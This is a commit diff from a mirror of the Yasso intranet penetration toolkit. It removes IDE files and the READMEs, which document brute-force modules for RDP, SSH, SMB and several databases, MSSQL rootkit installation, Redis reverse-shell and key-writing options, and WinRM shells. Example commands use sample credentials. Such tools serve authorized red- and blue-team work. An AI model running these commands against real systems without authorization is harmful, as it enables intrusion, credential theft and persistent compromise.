1
0
mirror of https://github.com/sairson/Yasso.git synced 2026-02-03 18:43:38 +08:00

Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等

This commit is contained in:
sairson
2022-05-29 09:11:07 +08:00
parent a6cd80f8e8
commit cb72f18edd
129 changed files with 16619 additions and 6278 deletions

8
.idea/.gitignore generated vendored
View File

@@ -1,8 +0,0 @@
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

1
.idea/.name generated
View File

@@ -1 +0,0 @@
main.go

9
.idea/sqldialects.xml generated
View File

@@ -1,9 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="SqlDialectMappings">
<file url="file://$PROJECT_DIR$/cmd/mssql.go" dialect="TSQL" />
</component>
<component name="SqlResolveMappings">
<file url="file://$PROJECT_DIR$/cmd/mssql.go" scope="{&quot;node&quot;:{ &quot;@negative&quot;:&quot;1&quot;, &quot;group&quot;:{ &quot;@kind&quot;:&quot;root&quot;, &quot;node&quot;:{ &quot;@negative&quot;:&quot;1&quot; } } }}" />
</component>
</project>

216
.idea/workspace.xml generated Normal file
View File

@@ -0,0 +1,216 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="AutoImportSettings">
<option name="autoReloadType" value="ALL" />
</component>
<component name="ChangeListManager">
<list default="true" id="d434aa11-9789-419c-9b84-854d0d1de639" name="变更" comment="" />
<option name="SHOW_DIALOG" value="false" />
<option name="HIGHLIGHT_CONFLICTS" value="true" />
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
<option name="LAST_RESOLUTION" value="IGNORE" />
</component>
<component name="FileTemplateManagerImpl">
<option name="RECENT_TEMPLATES">
<list>
<option value="Go File" />
</list>
</option>
</component>
<component name="GOROOT" url="file://C:/Program Files/Go" />
<component name="Git.Settings">
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
</component>
<component name="GitSEFilterConfiguration">
<file-type-list>
<filtered-out-file-type name="LOCAL_BRANCH" />
<filtered-out-file-type name="REMOTE_BRANCH" />
<filtered-out-file-type name="TAG" />
<filtered-out-file-type name="COMMIT_BY_MESSAGE" />
</file-type-list>
</component>
<component name="GoLibraries">
<option name="indexEntireGoPath" value="true" />
</component>
<component name="MarkdownSettingsMigration">
<option name="stateVersion" value="1" />
</component>
<component name="ProjectId" id="27HCA3wMNnN3wKvzRkCHMliM0lN" />
<component name="ProjectLevelVcsManager" settingsEditedManually="true" />
<component name="ProjectViewState">
<option name="hideEmptyMiddlePackages" value="true" />
<option name="showLibraryContents" value="true" />
</component>
<component name="PropertiesComponent">{
&quot;keyToString&quot;: {
&quot;RunOnceActivity.go.format.on.save.advertiser.fired&quot;: &quot;true&quot;,
&quot;RunOnceActivity.go.formatter.settings.were.checked&quot;: &quot;true&quot;,
&quot;RunOnceActivity.go.migrated.go.modules.settings&quot;: &quot;true&quot;,
&quot;RunOnceActivity.go.modules.go.list.on.any.changes.was.set&quot;: &quot;true&quot;,
&quot;RunOnceActivity.go.watchers.conflict.with.on.save.actions.check.performed&quot;: &quot;true&quot;,
&quot;WebServerToolWindowFactoryState&quot;: &quot;false&quot;,
&quot;go.import.settings.migrated&quot;: &quot;true&quot;,
&quot;last_opened_file_path&quot;: &quot;F:/Yasso&quot;,
&quot;settings.editor.selected.configurable&quot;: &quot;org.jetbrains.plugins.github.ui.GithubSettingsConfigurable&quot;,
&quot;vue.rearranger.settings.migration&quot;: &quot;true&quot;
}
}</component>
<component name="RecentsManager">
<key name="CopyFile.RECENT_KEYS">
<recent name="F:\Yasso\pkg\exploit\static" />
</key>
<key name="MoveFile.RECENT_KEYS">
<recent name="F:\Yasso\pkg\exploit\ldap\core\query" />
<recent name="F:\Yasso\pkg\exploit\ldap\core\resolver" />
<recent name="F:\Yasso\pkg\exploit" />
<recent name="F:\Yasso\pkg\exploit\mssql\static" />
<recent name="F:\Yasso\core\flag" />
</key>
</component>
<component name="RunManager" selected="Go 构建.go build main.go">
<configuration name="go build main.go" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
<module name="Yasso" />
<working_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<package value="Yasso" />
<directory value="$PROJECT_DIR$" />
<filePath value="$PROJECT_DIR$/main.go" />
<method v="2" />
</configuration>
<configuration name="Yasso/pkg/exploit/sunlogin 中的 Test" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
<module name="Yasso" />
<working_directory value="$PROJECT_DIR$/pkg/exploit/sunlogin" />
<root_directory value="$PROJECT_DIR$" />
<kind value="PACKAGE" />
<package value="Yasso/pkg/exploit/sunlogin" />
<directory value="$PROJECT_DIR$" />
<filePath value="$PROJECT_DIR$" />
<framework value="gotest" />
<pattern value="^\QTest\E$" />
<method v="2" />
</configuration>
<configuration name="Yasso/pkg/netspy/example 中的 Test (1)" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
<module name="Yasso" />
<working_directory value="$PROJECT_DIR$/pkg/netspy/example" />
<root_directory value="$PROJECT_DIR$" />
<kind value="PACKAGE" />
<package value="Yasso/pkg/netspy/example" />
<directory value="$PROJECT_DIR$" />
<filePath value="$PROJECT_DIR$" />
<framework value="gotest" />
<pattern value="^\QTest\E$" />
<method v="2" />
</configuration>
<configuration name="Yasso/pkg/test 中的 Test" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
<module name="Yasso" />
<working_directory value="$PROJECT_DIR$/pkg/test" />
<root_directory value="$PROJECT_DIR$" />
<kind value="PACKAGE" />
<package value="Yasso/pkg/test" />
<directory value="$PROJECT_DIR$" />
<filePath value="$PROJECT_DIR$" />
<framework value="gotest" />
<pattern value="^\QTest\E$" />
<method v="2" />
</configuration>
<configuration name="sync_test.go" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
<module name="Yasso" />
<working_directory value="$PROJECT_DIR$/pkg/test" />
<root_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<package value="Yasso" />
<directory value="$PROJECT_DIR$" />
<filePath value="$PROJECT_DIR$/pkg/test/sync_test.go" />
<framework value="gotest" />
<method v="2" />
</configuration>
<recent_temporary>
<list>
<item itemvalue="Go 构建.go build main.go" />
<item itemvalue="Go 测试.sync_test.go" />
<item itemvalue="Go 测试.Yasso/pkg/test 中的 Test" />
<item itemvalue="Go 测试.Yasso/pkg/exploit/sunlogin 中的 Test" />
<item itemvalue="Go 测试.Yasso/pkg/netspy/example 中的 Test (1)" />
</list>
</recent_temporary>
</component>
<component name="SpellCheckerSettings" RuntimeDictionaries="0" Folders="0" CustomDictionaries="0" DefaultDictionary="应用程序级" UseSingleDictionary="true" transferred="true" />
<component name="TypeScriptGeneratedFilesManager">
<option name="version" value="3" />
</component>
<component name="Vcs.Log.Tabs.Properties">
<option name="TAB_STATES">
<map>
<entry key="MAIN">
<value>
<State />
</value>
</entry>
</map>
</option>
</component>
<component name="VgoProject">
<settings-migrated>true</settings-migrated>
</component>
<component name="XDebuggerManager">
<breakpoint-manager>
<breakpoints>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>65</line>
<option name="timeStamp" value="18" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>69</line>
<option name="timeStamp" value="19" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>74</line>
<option name="timeStamp" value="20" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>79</line>
<option name="timeStamp" value="21" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>84</line>
<option name="timeStamp" value="22" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>85</line>
<option name="timeStamp" value="23" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>113</line>
<option name="timeStamp" value="24" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>118</line>
<option name="timeStamp" value="25" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>123</line>
<option name="timeStamp" value="26" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>124</line>
<option name="timeStamp" value="27" />
</line-breakpoint>
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
<line>125</line>
<option name="timeStamp" value="28" />
</line-breakpoint>
</breakpoints>
</breakpoint-manager>
</component>
</project>

504
README.md
View File

@@ -1,504 +0,0 @@
<h1>👾 Yasso - 亚索 👾</h1>
建议git下来自己编译编译命令
```
go build -x -v -ldflags "-s -w"
```
![go](https://img.shields.io/badge/Go-1.16.4-blue)
[English Introduce](README_EN.md)
## 介绍 😈
Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`
的扫描并发,在实现功能的同时追求准确和速度
使用格式为
```
Yasso [模块] [参数1] [参数2] [参数...]
```
模块里面的 `Flag` 代表当前命令的参数,`Global Flags` 代表全局参数(所有命令都可以用)
## 程序功能模块 👻
2022年3月18日更新
1. 增加了Redis的主从RCE和lua沙箱绕过RCE漏洞的利用方式感谢云宇师傅@zyylhn的项目代码
2. 修复了部分bug但是代码有点乱后期有重构思想等有空
3. 为-H的文件导入增加了127.0.0.1:700带端口的形式让Yasso容错更多环境
![image](https://user-images.githubusercontent.com/74412075/158973347-22443527-006d-4f67-8158-2100956a30dd.png)
2022年1月7日更新 -H 参数均支持ip.txt的导入如下
![image](https://user-images.githubusercontent.com/74412075/148518267-4f72e048-6aee-4ba6-b67d-a447468f2807.png)
2022年1月26日更新 crack 模块中 --ud --pass参数指定由原本的字典变为字典和用户名指定模式--ud "administrator,Oadmin" --pd "123456,11223"
![image](https://user-images.githubusercontent.com/74412075/151147036-3aa34477-327b-44ef-a633-0504d40b855a.png)
目前已有用功能模块 :
<b>all模块: 调用全部模块的完全扫描方式速度更快能力更强ants与并发的完美结合</b>
```
Usage:
Yasso all [flags]
Flags:
-h, --help help for all
-H, --host hosts Set hosts(The format is similar to Nmap)
--noping No use ping to scanner alive host (default true)
-P, --ports ports Set ports(The format is similar to Nmap)
--proxy string Set socks5 proxy
--runtime int Set scanner ants pool thread (default 100)
--time duration Set timeout (default 1s)
```
<b>ping模块: 普通用户权限调用系统pingroot权限可以选择使用icmp数据包</b>
```
Use ping or icmp to scanner alive host
Usage:
Yasso ping [flags]
Flags:
-h, --help help for ping
-H, --host hosts Set hosts(The format is similar to Nmap)
-i, --icmp Icmp packets are sent to check whether the host is alive(need root)
```
<b>crack模块: 强大的爆破模块和利用工具集 - 子工具集</b>
```
Available Commands:
ftp ftp burst module (support proxy)
grdp RDP burst module (support proxy)
log4j Open a socket listener to test log4J vulnerabilities offline
mongo MongoDB burst module (support proxy)
mssql SQL Server burst module and extend tools (not support proxy)
mysql MYSQL burst module and extend tools (support proxy)
postgres PostgreSQL burst module (not support proxy)
redis Redis burst and Redis extend tools (support proxy)
smb Smb burst module (not support proxy)
ssh SSH burst and SSH extend tools (support proxy)
winrm winrm burst and extend tools (support proxy)
Flags:
--crack make sure to use crack
-h, --help help for crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
程序主要分为多个子命令功能,每个功能都详细标注了用法,这里详细介绍子功能
<details>
<summary>ftp ftp服务爆破模块 - 支持socks5代理</summary>
```
Flags:
-h, --help help for ftp
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>grdp rdp服务爆破模块 - 支持socks5代理</summary>
```
Flags:
--domain string set host domain
-h, --help help for grdp
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>log4j log4j2 服务器 - 用于内网不出网手动的log4j漏洞检测</summary>
```
Flags:
-b, --bind string socket listen address (default "0.0.0.0:4568")
-h, --help help for log4j
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mongo mongodb服务爆破模块 - 支持socks5代理</summary>
```
Flags:
-h, --help help for mongo
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mssql sql server 服务爆破模块和提权辅助模块 - 不支持socks5代理</summary>
```
Flags:
--cld string Execute WarSQLKit Command (eg.) --cld "whoami"
-c, --cmd string Execute System command
-h, --help help for mssql
--hostname string Remote Connect mssql address(brute param need false)
--inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
--kithelp int print SQLKit Use help
--method int Execute System command method [1,xpshell] [2,oleshell] (default 1)
--pass string Login ssh password
-s, --sql string Execute sql command
--unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
--upload stringArray Use ole upload file (.eg) source,dest
--user string Login ssh username (default "sa")
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mysq mysql服务爆破模块和数据库查询 - 支持socks5代理</summary>
```
Flags:
-C, --cmd string mysql sql command
-h, --help help for mysql
--hostname string Remote Connect a Mysql (brute param need false)
--pass string Login ssh password
--shell create sql shell to exec sql command
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>postgres PostgreSQL服务爆破模块 - 不支持socks5代理</summary>
```
Flags:
-h, --help help for postgres
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>redis redis服务爆破模块未授权检测一键利用写公钥反弹shell - 支持socks5代理</summary>
```
Flags:
-h, --help help for redis
--hostname string Redis will connect this address
--pass string set login pass
--rebound string Rebound shell address (eg.) 192.168.1.1:4444
--rekey string Write public key to Redis (eg.) id_rsa.pub
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>smb smb服务爆破模块 - 不支持socks5代理</summary>
```
Flags:
-h, --help help for smb
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>ssh ssh服务爆破模块完全交互shell连接 - 支持socks5代理</summary>
```
Flags:
-h, --help help for ssh
--hostname string Open an interactive SSH at that address(brute param need false)
--key string ssh public key path
--pass string Login ssh password
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>winrm winrm服务爆破模块命令执行横向 - 支持socks5代理</summary>
```
Flags:
-c, --cmd string Execute system command
-h, --help help for winrm
--hostname string Open an interactive SSH at that address(brute param need false)
--pass string Login ssh password
--shell Get a cmd shell with WinRM
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<b>ps 模块: 采用ants协程的端口扫描速度更快更准确 - 不支持socks5代理</b>
```
Usage:
Yasso ps [flags]
Flags:
-h, --help help for ps
-H, --hosts hosts Set hosts(The format is similar to Nmap)
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
-r, --runtime int Set scanner ants pool thread (default 100)
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms)
```
<b>vulscan 模块: 主机漏洞扫描-支持ms17010smbghost漏洞 - 支持socks5代理</b>
```
Usage:
Yasso vulscan [flags]
Flags:
--all scan all vuln contains ms17010,smbghost
--gs scan smbghost
-h, --help help for vulscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--ms scan ms17010
--proxy string Set socks5 proxy
```
<b>webscan模块: 完全的dismap移植拥有更将强大的指纹识别 - 支持socks5代理</b>
```
Usage:
Yasso webscan [flags]
Flags:
-h, --help help for webscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--ping Use ping to scan alive host
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
--proxy string Set socks5 proxy and use it
-r, --runtime int Set scanner ants pool thread (default 508)
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
```
<b>winscan模块: windows主机的netbios识别oxid网卡发现smb主机指纹 - 支持socks5代理</b>
```
netbios、smb、oxid scan
Usage:
Yasso winscan [flags]
Flags:
--all Set all flag and use oxid,netbios,smb scan (default true)
-h, --help help for winscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--netbios Set netbios flag and use netbios scan
--oxid Set oxid flag and use oxid scan
--proxy string Set socks5 proxy and use it
--smb Set smb flag and use smb scan
--time duration Set net conn timeout (default 1s)
```
## 使用例子👿
all 模块的扫描服务调用
```
Yasso.exe all -H 192.168.248.1/24
```
![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png)
mssql 的命令执行提权和WarSQLKit-clr提权Rookit安装卸载执行功能
```
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1
Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "sp_getSqlHash"
Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "whoami"
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1
```
![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png)
winrm 的命令执行和交互shell
```
Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator"
```
![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png)
```
Yasso.exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator"
```
![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png)
grdp的强大爆破功能
```
Yasso.exe crack grdp --domain "kilon.local" --pd .\pass.txt --ud .\user.txt -H 192.168.248.128/24 --crack
```
![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png)
ssh的交互式登陆
```
Yasso.exe crack ssh --hostname 192.168.248.219 --user root --pass kali
```
![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png)
## 工具优势🤡
- 命令简单方便,模块功能调用简洁明了,方便拓展和添加各种新功能
- 集合了大量的常用功能使得Yasso并不像常规的扫描器而是作为工具集
- 强大的SQL渗透辅助功能提供了常见的redismysqlmssql等数据库的一键提权和数据库操作
- 强大的并发爆破,使得大字典能获取更快的速度
- rdp和winrm的强势加入使得内网横向更加迅速和方便快捷
## 免责声明🧐
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,这一点十分重要**
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
## 工具编写参考链接👀
```
https://github.com/shadow1ng/fscan
https://github.com/k8gege/LadonGo
https://github.com/zyylhn/zscan
https://github.com/uknowsec/SharpSQLTools
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
https://github.com/masterzen/winrm
https://github.com/tomatome/grdp
https://github.com/panjf2000/ants
```

View File

@@ -1,511 +0,0 @@
👾 Yasso-Yasso 👾
![go](https://img.shields.io/badge/Go-1.16.4-blue)
[Chinese Introduce](README.zh_CN.md)
## Introduce😈
Yasso will be released as an Intranet assisted penetration tool set, which brings together a number of utility features
to help Red Team members use tools in extreme Intranet environments, as well as Intranet self-check for Blue Team
members. It also adds proxy functionality and scan concurrency for ants. In the realization of functions at the same
time the pursuit of accuracy and speed.
[![asciicast](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL.svg)](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL)
The format is
```
Yasso [模块] [参数1] [参数2] [参数...]
```
In the module, 'Flag' represents the parameters of the current command, and 'Global Flags' represents the Global
parameters (all commands can be used).
## Program function module 👻
-H parameters all support IP. TXT import, as shown below
![image](https://user-images.githubusercontent.com/74412075/148518267-4f72e048-6aee-4ba6-b67d-a447468f2807.png)
Currently available functional modules:
<b>ALL module: full scan mode of calling all modules, faster and more powerful, perfect combination of ants and
concurrency</b>
```
Usage:
Yasso all [flags]
Flags:
-h, --help help for all
-H, --host hosts Set hosts(The format is similar to Nmap)
--noping No use ping to scanner alive host (default true)
-P, --ports ports Set ports(The format is similar to Nmap)
--proxy string Set socks5 proxy
--runtime int Set scanner ants pool thread (default 100)
--time duration Set timeout (default 1s)
```
<b>Ping module: ordinary user can call system ping, root can choose to use ICMP packet</b>
```
Use ping or icmp to scanner alive host
Usage:
Yasso ping [flags]
Flags:
-h, --help help for ping
-H, --host hosts Set hosts(The format is similar to Nmap)
-i, --icmp Icmp packets are sent to check whether the host is alive(need root)
```
<b>Crack module: Powerful blasting module and utilizing toolset - sub-toolset</b>
```
Available Commands:
ftp ftp burst module (support proxy)
grdp RDP burst module (support proxy)
log4j Open a socket listener to test log4J vulnerabilities offline
mongo MongoDB burst module (support proxy)
mssql SQL Server burst module and extend tools (not support proxy)
mysql MYSQL burst module and extend tools (support proxy)
postgres PostgreSQL burst module (not support proxy)
redis Redis burst and Redis extend tools (support proxy)
smb Smb burst module (not support proxy)
ssh SSH burst and SSH extend tools (support proxy)
winrm winrm burst and extend tools (support proxy)
Flags:
--crack make sure to use crack
-h, --help help for crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
The program is mainly divided into a number of sub-command functions, each function is annotated in detail, here is a
detailed introduction of sub-functions
<details>
<summary>ftp FTP service blowing module - support SOcks5 proxy</summary>
```
Flags:
-h, --help help for ftp
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>grdp RDP service blowup module - support socks5 proxy</summary>
```
Flags:
--domain string set host domain
-h, --help help for grdp
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>log4j log4j2 server - For manual log4J vulnerability detection within the network</summary>
```
Flags:
-b, --bind string socket listen address (default "0.0.0.0:4568")
-h, --help help for log4j
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mongo mongodb service blasting module - support socks5 proxy</summary>
```
Flags:
-h, --help help for mongo
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mssql SQL Server service blowup module and power lifting auxiliary module - socks5 proxy is not supported</summary>
```
Flags:
--cld string Execute WarSQLKit Command (eg.) --cld "whoami"
-c, --cmd string Execute System command
-h, --help help for mssql
--hostname string Remote Connect mssql address(brute param need false)
--inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
--kithelp int print SQLKit Use help
--method int Execute System command method [1,xpshell] [2,oleshell] (default 1)
--pass string Login ssh password
-s, --sql string Execute sql command
--unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
--upload stringArray Use ole upload file (.eg) source,dest
--user string Login ssh username (default "sa")
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mysql mysql service explosion module and database query - support for SOcks5 proxy</summary>
```
Flags:
-C, --cmd string mysql sql command
-h, --help help for mysql
--hostname string Remote Connect a Mysql (brute param need false)
--pass string Login ssh password
--shell create sql shell to exec sql command
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
